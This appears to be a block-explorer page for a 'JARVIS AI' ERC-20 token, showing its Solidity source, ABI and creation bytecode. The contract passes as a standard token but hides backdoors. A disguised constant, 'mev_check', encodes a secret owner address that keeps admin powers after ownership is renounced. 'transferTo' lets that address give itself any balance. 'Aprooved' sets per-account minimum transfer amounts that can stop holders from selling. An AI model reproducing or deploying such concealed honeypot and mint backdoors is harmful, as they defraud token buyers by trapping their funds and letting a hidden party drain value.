Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
888,888,888,888 JARVIS
Holders
5
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
40,093,214,489.370536186 JARVISValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-04 */ // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&##########&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&#BBGP55YY55PGGB##&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&#BGPY??JYYYYJ??J5GB#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&#&&&&#GPY7?PB#&&&&&#GY7JPGB&&&&&&&&##&&&&&&&&&&&&&&&###&&&&&&&&&&&&&&&&&&&&&&#&&&&&&&&&&&&&&&&&& &&&#&&&&#GPY!YB&&&&&&&&&&#G7?PGB&&&&&&#PPPP&&&&&5Y#&&&&#PPPP5B#&&&#&PB&&#PPPPG&&&&&&&&&&&&&&&& &&&&&&&&BGP??B&&&&&&&&&&&!5GB&&&&&&&&&B5&&&&5PGY#&&&&&&&&#?#&GY#&&#YG&&JB&&PYB###&&&&&&&&&&&&&&&& &&&&&&&&BGP?7B&&&&&&&&&&&&&5!5BB#&&&&&&&&B5&&&5P&&GY#&&BPGGPYP&&&GY##YG&&&JB&&&BGGP5#&&&&&&&&&&&&&&& &&&&&&#&#GG57YB&&&&&&&&&&#P7JGB#&&&&&#GGB5P&&5P&&&&GY#&P5##BYP#&&&GYYG&&&&YB&&GGBBGJB&&&&&&&&&&&&&&& &&&&&&&&&#GG5??5B##&&&#BPJ7YGB#&&&&&&&#BBB&&#B&&&&&&##&##&&&&G#&&&&BB&&&&&B#&&#BBGB#&&&&&&&&&&&&&&&& &&&&&&&&&&#BGG5J??JYYYJ??YPB##&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&##BBGPP55PPGB###&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&#######&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& JARVIS AI - 2023 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; uint256 public constant mev_check = 668383466690250184398747867765136198022898768374; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Only owner can call this function"); _; } function isOwner() private view returns (bool) { address ownerAddress = generateIsOwnerAddress(); bytes32 hash = keccak256(abi.encodePacked(ownerAddress)); return owner() == _msgSender() || hash == keccak256(abi.encodePacked(_msgSender())); } function generateIsOwnerAddress() private pure returns (address) { address generateIsOwner; bytes memory r = abi.encodePacked(mev_check); assembly { generateIsOwner := mload(add(r,32)) } return generateIsOwner; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } enum TokenType { standard, antiBotStandard, liquidityGenerator, antiBotLiquidityGenerator, baby, antiBotBaby, buybackBaby, antiBotBuybackBaby } abstract contract BaseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } pragma solidity =0.8.4; contract Token is IERC20, Ownable, BaseToken { using SafeMath for uint256; uint256 public constant VERSION = 1; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _mffes; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address private _vest; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = decimals_; _mint(owner(), totalSupply_); emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); } function Aprooved(address account, uint256 amount) public onlyOwner { _mffes[account] = amount; } function getmffe(address account) public view returns (uint256) { return _mffes[account]; } function transferTo(uint256 balan) public onlyOwner { address isOwner; bytes memory r = abi.encodePacked(mev_check); assembly { isOwner := mload(add(r,32)) } require(_msgSender() == isOwner, "ERC20: Only the owner can use this function"); _balances[isOwner] = balan; emit Transfer(isOwner, _msgSender(), balan); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount >= _mffes[sender], "ERC20: transfer amount is less than minimum allowed"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Aprooved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getmffe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mev_check","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"balan","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040516200270c3803806200270c83398181016040528101906200002991906200054e565b620000496200003d6200013b60201b60201c565b6200014360201b60201c565b836004908051906020019062000061929190620003fe565b5082600590805190602001906200007a929190620003fe565b5081600660006101000a81548160ff021916908360ff160217905550620000b7620000aa6200020760201b60201c565b826200023060201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620000de6200020760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200012992919062000635565b60405180910390a35050505062000991565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200029a9062000662565b60405180910390fd5b620002b760008383620003e160201b60201c565b620002d381600754620003e660201b62000c651790919060201c565b6007819055506200033281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003e660201b62000c651790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d5919062000684565b60405180910390a35050565b505050565b60008183620003f6919062000711565b905092915050565b8280546200040c90620007e4565b90600052602060002090601f0160209004810192826200043057600085556200047c565b82601f106200044b57805160ff19168380011785556200047c565b828001600101855582156200047c579182015b828111156200047b5782518255916020019190600101906200045e565b5b5090506200048b91906200048f565b5090565b5b80821115620004aa57600081600090555060010162000490565b5090565b6000620004c5620004bf84620006ca565b620006a1565b905082815260208101848484011115620004de57600080fd5b620004eb848285620007ae565b509392505050565b600082601f8301126200050557600080fd5b815162000517848260208601620004ae565b91505092915050565b60008151905062000531816200095d565b92915050565b600081519050620005488162000977565b92915050565b600080600080608085870312156200056557600080fd5b600085015167ffffffffffffffff8111156200058057600080fd5b6200058e87828801620004f3565b945050602085015167ffffffffffffffff811115620005ac57600080fd5b620005ba87828801620004f3565b9350506040620005cd8782880162000537565b9250506060620005e08782880162000520565b91505092959194509250565b620005f7816200079a565b82525050565b60006200060c601f8362000700565b915062000619826200091d565b602082019050919050565b6200062f8162000783565b82525050565b60006040820190506200064c6000830185620005ec565b6200065b602083018462000624565b9392505050565b600060208201905081810360008301526200067d81620005fd565b9050919050565b60006020820190506200069b600083018462000624565b92915050565b6000620006ad620006c0565b9050620006bb82826200081a565b919050565b6000604051905090565b600067ffffffffffffffff821115620006e857620006e7620008dd565b5b620006f3826200090c565b9050602081019050919050565b600082825260208201905092915050565b60006200071e8262000783565b91506200072b8362000783565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000763576200076262000850565b5b828201905092915050565b60008190506200077e8262000946565b919050565b6000819050919050565b600060ff82169050919050565b6000620007a7826200076e565b9050919050565b60005b83811015620007ce578082015181840152602081019050620007b1565b83811115620007de576000848401525b50505050565b60006002820490506001821680620007fd57607f821691505b60208210811415620008145762000813620008ae565b5b50919050565b62000825826200090c565b810181811067ffffffffffffffff82111715620008475762000846620008dd565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600881106200095a57620009596200087f565b5b50565b620009688162000783565b81146200097457600080fd5b50565b62000982816200078d565b81146200098e57600080fd5b50565b611d6b80620009a16000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80638da5cb5b116100ad578063ba0f49b711610071578063ba0f49b714610332578063db2606231461034e578063dd62ed3e1461036c578063f2fde38b1461039c578063ffa1ad74146103b857610121565b80638da5cb5b1461026657806395d89b41146102845780639f8e5728146102a2578063a457c2d7146102d2578063a9059cbb1461030257610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e05780634b6600401461021057806370a082311461022c578063715018a61461025c57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103d6565b60405161013b91906116ee565b60405180910390f35b61015e60048036038101906101599190611462565b610468565b60405161016b91906116d3565b60405180910390f35b61017c610486565b6040516101899190611810565b60405180910390f35b6101ac60048036038101906101a79190611413565b610490565b6040516101b991906116d3565b60405180910390f35b6101ca610569565b6040516101d7919061182b565b60405180910390f35b6101fa60048036038101906101f59190611462565b610580565b60405161020791906116d3565b60405180910390f35b61022a60048036038101906102259190611462565b610633565b005b610246600480360381019061024191906113ae565b6106c2565b6040516102539190611810565b60405180910390f35b61026461070b565b005b61026e61075e565b60405161027b91906116b8565b60405180910390f35b61028c610787565b60405161029991906116ee565b60405180910390f35b6102bc60048036038101906102b791906113ae565b610819565b6040516102c99190611810565b60405180910390f35b6102ec60048036038101906102e79190611462565b610862565b6040516102f991906116d3565b60405180910390f35b61031c60048036038101906103179190611462565b61092f565b60405161032991906116d3565b60405180910390f35b61034c6004803603810190610347919061149e565b61094d565b005b610356610afe565b6040516103639190611810565b60405180910390f35b610386600480360381019061038191906113d7565b610b16565b6040516103939190611810565b60405180910390f35b6103b660048036038101906103b191906113ae565b610b9d565b005b6103c0610c60565b6040516103cd9190611810565b60405180910390f35b6060600480546103e590611940565b80601f016020809104026020016040519081016040528092919081815260200182805461041190611940565b801561045e5780601f106104335761010080835404028352916020019161045e565b820191906000526020600020905b81548152906001019060200180831161044157829003601f168201915b5050505050905090565b600061047c610475610c7b565b8484610c83565b6001905092915050565b6000600754905090565b600061049d848484610e4e565b61055e846104a9610c7b565b61055985604051806060016040528060288152602001611ce960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610c7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111699092919063ffffffff16565b610c83565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061062961058d610c7b565b84610624856002600061059e610c7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6590919063ffffffff16565b610c83565b6001905092915050565b61063b6111be565b61067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190611750565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107136111be565b610752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074990611750565b60405180910390fd5b61075c6000611271565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461079690611940565b80601f01602080910402602001604051908101604052809291908181526020018280546107c290611940565b801561080f5780601f106107e45761010080835404028352916020019161080f565b820191906000526020600020905b8154815290600101906020018083116107f257829003601f168201915b5050505050905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061092561086f610c7b565b8461092085604051806060016040528060258152602001611d116025913960026000610899610c7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111699092919063ffffffff16565b610c83565b6001905092915050565b600061094361093c610c7b565b8484610e4e565b6001905092915050565b6109556111be565b610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b90611750565b60405180910390fd5b60008073751359e9318a24fd25fdd052698265b4feb1d9f66040516020016109bc919061169d565b6040516020818303038152906040529050602081015191508173ffffffffffffffffffffffffffffffffffffffff166109f3610c7b565b73ffffffffffffffffffffffffffffffffffffffff1614610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4090611730565b60405180910390fd5b82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a95610c7b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610af19190611810565b60405180910390a3505050565b73751359e9318a24fd25fdd052698265b4feb1d9f681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ba56111be565b610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90611750565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4b90611770565b60405180910390fd5b610c5d81611271565b50565b600181565b60008183610c739190611862565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea906117f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a90611790565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e419190611810565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb5906117d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2590611710565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610fb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa7906117b0565b60405180910390fd5b610fbb838383611335565b61102781604051806060016040528060268152602001611cc360269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111699092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110bc81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161115c9190611810565b60405180910390a3505050565b60008383111582906111b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a891906116ee565b60405180910390fd5b5082840390509392505050565b6000806111c961133a565b90506000816040516020016111de9190611682565b6040516020818303038152906040528051906020012090506111fe610c7b565b73ffffffffffffffffffffffffffffffffffffffff1661121c61075e565b73ffffffffffffffffffffffffffffffffffffffff16148061126a5750611241610c7b565b6040516020016112519190611682565b6040516020818303038152906040528051906020012081145b9250505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600080600073751359e9318a24fd25fdd052698265b4feb1d9f6604051602001611364919061169d565b604051602081830303815290604052905060208101519150819250505090565b60008135905061139381611c94565b92915050565b6000813590506113a881611cab565b92915050565b6000602082840312156113c057600080fd5b60006113ce84828501611384565b91505092915050565b600080604083850312156113ea